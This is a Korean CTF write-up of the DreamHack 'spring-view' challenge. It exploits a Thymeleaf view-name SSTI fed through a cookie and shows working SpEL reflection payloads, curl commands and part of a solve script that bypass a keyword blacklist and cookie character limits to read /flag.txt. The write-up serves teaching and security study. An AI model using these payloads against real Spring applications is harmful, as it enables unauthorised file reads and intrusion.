2026-06-05·1분 읽기·
Spring + Thymeleaf 앱에서 lang 쿠키가 그대로 뷰 이름이 된다. 프래그먼트 전처리 __${...}__ 로 SpEL을 실행하는 View-Name SSTI를 잡고, java/class/Runtime 블랙리스트와 쿠키 RFC6265 제약(공백·콤마·세미콜론 금지), 그리고 원격 Java 8 환경까지 차례로 우회해 /flag.txt 를 읽어낸다.
이 글이 도움이 됐나요?
문제: DreamHack — spring-view 분류: Web 난이도: 🥇 Gold 3 FLAG:
DH{e514c8d4341cd9532460eff7712fbe01}
"spring으로 작성된 웹 서비스입니다. 취약점을 이용해 플래그를 획득하세요."
설명은 이게 전부다. 주는 건 app.jar 하나. Spring Boot fat jar 하나를 뜯어서 컨트롤러가 사용자 입력을 어디로 흘려보내는지부터 봤다.
| 항목 | 내용 |
|---|---|
| 문제명 | spring-view |
| 난이도 | 🥇 Gold 3 |
| 분류 | Web (Spring Boot 2.2 / Thymeleaf) |
| 제공 파일 | app.jar (Spring Boot fat jar) |
| 핵심 취약점 | Thymeleaf View-Name SSTI — 컨트롤러가 쿠키 값을 뷰 이름으로 사용 |
| 난관 | ① java/class/Runtime 블랙리스트 ② 쿠키 RFC6265(공백·콤마·세미콜론 금지) ③ 원격 Java 8 |
뷰 이름 SSTI 자체는 유명한 패턴이라 취약점은 금방 보였다. Gold 3을 만드는 건 그 다음, "어떻게 페이로드를 쿠키에 욱여넣느냐"였다. 제약이 세 겹으로 겹쳐 있어서 평소 쓰던 T(java.lang.Runtime) 류 한 줄 페이로드가 전부 막힌다.
fat jar 안에서 우리 코드는 BOOT-INF/classes/ 밑에만 있다. 압축을 풀어 보면 클래스 4개와 템플릿 5개가 전부다.
$ unzip -l app.jar | grep 'BOOT-INF/classes/com\|templates/'
BOOT-INF/classes/templates/index.html
BOOT-INF/classes/templates/ko/welcome.html
BOOT-INF/classes/templates/ko/underconstruction.html
BOOT-INF/classes/templates/en/welcome.html
BOOT-INF/classes/templates/en/underconstruction.html
BOOT-INF/classes/com/dreamhack/spring/UserController.class
BOOT-INF/classes/com/dreamhack/spring/DataFilter.class
BOOT-INF/classes/com/dreamhack/spring/WebConfig.class
BOOT-INF/classes/com/dreamhack/spring/Application.class템플릿이 ko/, en/ 두 디렉토리로 갈린다. 언어별 뷰를 쿠키로 고르는 구조라는 게 한눈에 보인다. .class는 CFR로 디컴파일했다.

@GetMapping("/welcome")
public String welcome(@CookieValue(value = "lang", defaultValue = "en") String lang) {
return lang + "/welcome"; // ← lang 쿠키가 그대로 뷰 이름에 들어간다
}
@GetMapping("/signup")
public String signup(@CookieValue(value = "lang", defaultValue = "en") String lang) {
return lang + "/underconstruction";
}return "en/welcome" 처럼 문자열을 돌려주면 Spring은 그걸 뷰 이름으로 보고 Thymeleaf에게 넘긴다. 그런데 그 앞부분 lang이 사용자 쿠키다. 정상 흐름은 lang=ko → ko/welcome 템플릿을 렌더하는 거지만, lang에 아무 문자열이나 넣으면 그게 뷰 이름 앞에 붙는다.
@ResponseBody가 아니라 뷰 이름 반환이라는 점이 핵심이다. 뷰 이름을 사용자가 통제하면 Thymeleaf의 표현식 전처리가 열린다.
참고로 /(index)는 @RequestParam lang을 받아 쿠키로 구워주고 리다이렉트한다. 그러니 공격 표면은 결국 lang 쿠키 하나로 수렴한다.
그냥 SpEL 한 방이면 끝일 것 같지만, 인터셉터가 하나 걸려 있다.
@Order(Integer.MIN_VALUE) // 가장 먼저 도는 인터셉터
public class DataFilter implements HandlerInterceptor {
final String[] DANGEROUS_STRINGS = { "Runtime", "java", "class" };
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object o) {
String qs = req.getQueryString();
if (qs != null && Arrays.stream(DANGEROUS_STRINGS).anyMatch(qs::contains))
res.sendError(403, "Access Denied !");

쿼리스트링과 모든 쿠키 값에 대해 Runtime, java, class가 부분 문자열로 들어 있으면 403. String.contains라 대소문자를 구분한다. 이건 나중에 작게 써먹는다 — getClass의 Class는 대문자라 class에 안 걸린다.
Thymeleaf는 뷰 이름을 템플릿 :: 프래그먼트 꼴의 프래그먼트 표현식으로 해석할 수 있다. 그리고 이름 안에 __${ ... }__ 패턴이 있으면 그 부분을 전처리(preprocessing) 단계에서 SpEL로 먼저 평가한 뒤 결과 문자열로 치환한다.
컨트롤러가 돌려주는 최종 뷰 이름은 이렇게 된다.
(lang 쿠키) + "/welcome"여기에 lang = __${7*7}__::.x 를 넣으면 최종 이름은 __${7*7}__::.x/welcome이 되고, Thymeleaf가 전처리에서 ${7*7}을 평가해 49::.x/welcome을 만든다. 템플릿 49는 없으니 에러가 나는데 — 이 에러 메시지가 두 번째 열쇠다.
Spring Boot 2.2의 기본 에러 응답은 예외 메시지를 그대로 담는다(2.3부터 메시지 숨김이 기본값으로 바뀌었다). 즉 평가 결과가 그대로 에러 화면에 찍힌다. blind가 아니라 출력 채널이 공짜로 생긴다.
Error resolving template [49], template might not exist ...SpEL이 임의 표현식을 돌리고, 결과 String이 에러 메시지로 새어 나온다. 그러면 RCE까지 갈 것도 없이 파일을 읽어 그 내용을 뷰 이름으로 만들면 플래그가 에러에 찍혀 나온다. 방향은 정해졌다.
원격에 바로 쏘기 전에 같은 jar를 로컬에 띄워 페이로드를 다듬기로 했다. 가짜 /flag를 심어 두면 익스필 채널까지 그대로 검증된다.
처음엔 시스템 Java로 그냥 돌렸는데 Spring Boot 2.2가 Java 17에서 리플렉션 접근 막힘으로 부팅하다 죽는다. 빌드 스펙이 JDK 14라 버전을 맞춰야 했다. Docker로 Java 11 이미지를 잡아 띄웠다.
$ docker run -d --rm --name springview -p 18090:8090 \
-v "$PWD/app.jar:/app.jar:ro" eclipse-temurin:11-jre \
sh -c "echo 'DH{local_test_flag_1234}' > /flag && java -jar /app.jar"SSTI부터 확인.
$ curl -s -H 'Cookie: lang=__${7*7}__::.x' http://localhost:18090/welcome
{"status":500,"error":"Internal Server Error",
"message":"Error resolving template [49], template might not exist ..."}[49]. 전처리가 돌고 결과가 메시지로 샌다. 블랙리스트도 확인해 둔다.
$ curl -s -o /dev/null -w '%{http_code}\n' -H 'Cookie: lang=javatest' http://localhost:18090/welcome
403원격에서 같은 lang=javatest를 ?lang= 쿼리로 넣어 봐도 동일하게 막힌다.

여기까지는 교과서다. 진짜 시간을 쓴 건 다음 단계, 페이로드를 쿠키에 넣는 일이었다.
목표 표현식은 단순하다. "/flag 열어서 내용을 String으로 반환." 보통이면 이렇게 쓴다.
new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag")))그런데 이 한 줄이 제약마다 하나씩 걸린다. 막힌 지점을 순서대로 풀었다.
T(java.lang.Runtime) 도, new java.io.File 도, Files/Paths도 전부 java 또는 Runtime이 그대로 들어간다. 블랙리스트 직행.
→ 클래스 이름을 리터럴로 쓰지 않고 리플렉션으로 로드한다. 문자열을 쪼개면 contains를 피할 수 있다.
''.getClass().forName('jav'+'a.io.FileInputStream')쿠키에 실제로 찍히는 바이트는 ...'jav'+'a.io... 라서 java가 연속으로 나타나지 않는다. getClass는 대문자 Class라 class에도 안 걸린다. ''.getClass()는 java.lang.String.class를 java 글자 없이 얻는 출발점이다.
리플렉션으로 클래스는 얻었으니 new String(bytes)로 묶으면 될 줄 알았다. 그런데 쿠키가 통째로 무시되고 @CookieValue 기본값 en으로 떨어진다(= 정상 welcome 페이지가 뜸).
원인은 new String 사이의 공백. 쿠키 값에는 공백을 못 넣는다(RFC6265). Tomcat이 그 쿠키를 버린다.
→ new 자체를 안 쓴다. 객체 생성도 리플렉션으로:
''.getClass().getConstructor( byte[].class ).newInstance( bytes )byte[].class는 ''.getClass().forName('[B')로 얻는다. [B는 byte 배열 디스크립터라 세미콜론이 없다(객체 배열 [Ljava...;는 세미콜론이 들어가서 또 막힌다).
이게 제일 컸다. Paths.get 이나 getMethod('exec', String.class) 처럼 인자가 둘 이상인 호출은 콤마가 필요하다. 그런데 쿠키 값에 콤마를 넣으면 또 잘린다.
테스트로 확인:
$ curl -s -H 'Cookie: lang=__${"abcd".substring(1,3)}__::.x' http://localhost:18090/welcome
<!DOCTYPE HTML> ... Hello. Welcome ! # ← 쿠키 무시, 기본 ensubstring(1,3)의 콤마 하나 때문에 쿠키가 통째로 증발한다.
→ 인자 한 개짜리 호출만으로 체인을 짠다. 다행히 필요한 건 전부 단일 인자로 가능하다.
forName('...') — 1개getConstructor(타입) — 1개 (varargs라 1개면 콤마 없음)newInstance(인자) — 1개.메서드(인자) — SpEL이 런타임 타입으로 알아서 찾아 줌getMethod(name, paramTypes...)처럼 파라미터 타입을 같이 줘야 하는 호출만 피하면 된다.
정리하면 우회는 이렇게 겹친다.
| 제약 | 막히는 것 | 우회 |
|---|---|---|
| 블랙리스트 | java·class·Runtime 리터럴 | 'jav'+'a.io...' 분리, getClass(대문자) |
| 공백 금지 | new, T( ) 사이 공백 | getConstructor().newInstance() |
| 콤마 금지 | 다인자 getMethod/Paths.get | 단일 인자 리플렉션 체인만 |
| 세미콜론 금지 | [Ljava.lang.String; | '[B'(byte 배열) |
로컬 Java 11에서 이 조합으로 /flag를 읽어 봤다.
$ curl -s -H "Cookie: lang=__\${''.getClass().getConstructor(''.getClass().forName('[B'))\
.newInstance(''.getClass().forName('jav'+'a.io.FileInputStream')\
.getConstructor(''.getClass()).newInstance('/flag').readAllBytes())}__::.x" \
http://localhost:18090/welcome
{"message":"Error resolving template [DH{local_test_flag_1234}], template might not exist ..."}심어 둔 로컬 플래그가 그대로 나왔다. 콤마·공백·세미콜론·new 하나 없이 파일을 읽는다. 로컬은 끝. 이제 원격.
서버를 받고 같은 페이로드를 쐈다. 그런데 로컬과 결과가 다르다.
"message":"Invalid template name specification: '__${''.getClass()...readAllBytes())}__::.x/welcome'"원본 페이로드가 치환 안 된 채로 그대로 찍혔다. 이건 전처리 중 SpEL이 예외를 던졌다는 신호다. 예외가 나면 Thymeleaf가 그 이름을 리터럴로 취급하다 :: 파싱에서 깨지면서 "Invalid template name specification"을 뱉는다.
먼저 SSTI 자체는 살아 있는지부터 확인했다. 7*7은 원격에서도 잘 돈다.
![클릭하여 확대 원격 7*7 → Error resolving template [49]](/images/blog/dreamhack-spring-view-writeup/04_ssti_probe_49.png)
전처리는 멀쩡하다. 그럼 던진 건 내 표현식이다. 경로 문제인가 싶어 확실히 존재하는 /etc/hostname을 읽어 봤는데 그것도 같은 에러. 경로가 아니라 읽는 방식이 문제다.
용의자는 readAllBytes(). InputStream.readAllBytes()는 Java 9+ 메서드다. 원격이 Java 8이면 그 메서드가 없어 SpEL이 "method not found"로 던진다. 빌드는 JDK 14 스펙이었지만 실행 JVM은 별개다.

검증 삼아 객체 생성까지만 끊어서 던져 봤다. FileInputStream을 만들고 .getClass().getName()만 부르면 [java.io.FileInputStream]이 정상으로 새어 나온다 — 파일은 열린다. readAllBytes()만 붙이면 죽는다. 범인 확정.
Java 8에서 콤마 없이 스트림을 다 읽는 방법으로 Scanner를 골랐다.
new Scanner(inputStream).next()Scanner.next()는 공백 구분 토큰 하나를 돌려준다. 플래그 DH{...}엔 공백이 없으니 토큰 하나 = 플래그 전체다. 구분자를 바꿀 필요도 없어서 백슬래시(\\A, 역시 쿠키 금지 문자)를 피할 수 있다. Scanner도 new 없이 리플렉션으로 만든다 — 생성자 인자 타입은 InputStream 하나라 콤마도 없다.
''.getClass().forName('jav'+'a.util.Scanner')
.getConstructor(''.getClass().forName('jav'+'a.io.InputStream'))
.newInstance( <FileInputStream> )
.next()경로는 /flag로 먼저 쐈는데 또 throw. /flag는 없었다. /flag.txt로 바꾸니—

Error resolving template [DH{e514c8d4341cd9532460eff7712fbe01}], template might not exist ...플래그가 에러 메시지에 그대로 찍혔다.
DH{e514c8d4341cd9532460eff7712fbe01}세 겹 우회 + Java 8 대응을 한 파일로 정리한 solve.py.
#!/usr/bin/env python3
# spring-view — Thymeleaf View-Name SSTI -> arbitrary file read
import sys, json, urllib.request, urllib.error
HOST = "http://host8.dreamhack.games:19728"
S = "''.getClass()" # = java.lang.String.class, 'java' 글자 없이 Class 확보
def read_file(path):
fis = ("%s.forName('jav'+'a.io.FileInputStream')" # 'java' 분리 -> 블랙리스트 통과
".getConstructor(%s).newInstance('%s')" % (S, S, path))
expr = ("%s.forName('jav'+'a.util.Scanner')"
".getConstructor(%s.forName('jav'+'a.io.InputStream'))"
".newInstance(%s).next()" % (S, S, fis)) # 공백/콤마 0개 단일인자 체인
cookie = "__${" + expr + "}__::.x" # fragment 전처리 -> SpEL 실행
req
$ python3 solve.py
/flag -> [throw] Invalid template name specification: '__${''.getClass()...
/flag.txt -> DH{e514c8d4341cd9532460eff7712fbe01}
취약점 자체는 Thymeleaf 뷰 이름 SSTI, 잘 알려진 패턴이다. 컨트롤러가 사용자 입력을 뷰 이름으로 반환하는 순간 __${...}__ 전처리가 SpEL 실행 통로가 된다.
Gold 3의 무게는 익스플로잇이 아니라 운반에 있었다. 페이로드를 어디에 싣느냐가 곧 제약이다. 입력 지점이 쿠키라서 RFC6265가 공백·콤마·세미콜론을 다 쳐낸다. 평소 복붙하던 T(java.lang.Runtime).getRuntime().exec(...) 한 줄이 글자 단위로 막힌다.
그래서 페이로드를 인자 한 개짜리 리플렉션 호출로만 다시 짰다. new(공백)도, 다인자 getMethod(콤마)도, 객체 배열 디스크립터(세미콜론)도 전부 피하면 forName → getConstructor → newInstance → 인스턴스 메서드만 남는다. 이 체인은 콤마·공백·세미콜론이 0개다.
마지막 두 번은 환경 차이였다. 로컬에서만 맞춰 두면 원격에서 깨진다. 빌드 스펙(JDK 14)과 실행 JVM(Java 8)이 다를 수 있다는 걸 readAllBytes() 하나가 알려줬고, /flag와 /flag.txt의 차이는 그냥 직접 던져 봐야 알았다.
출력은 RCE 없이도 충분했다. Spring Boot 2.2가 예외 메시지를 에러 응답에 그대로 담는다는 점을 이용해, 파일 내용을 뷰 이름으로 만들어 "Error resolving template [...]"에 흘렸다. 셸을 따는 것보다 에러 한 줄을 읽는 게 더 빨랐다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…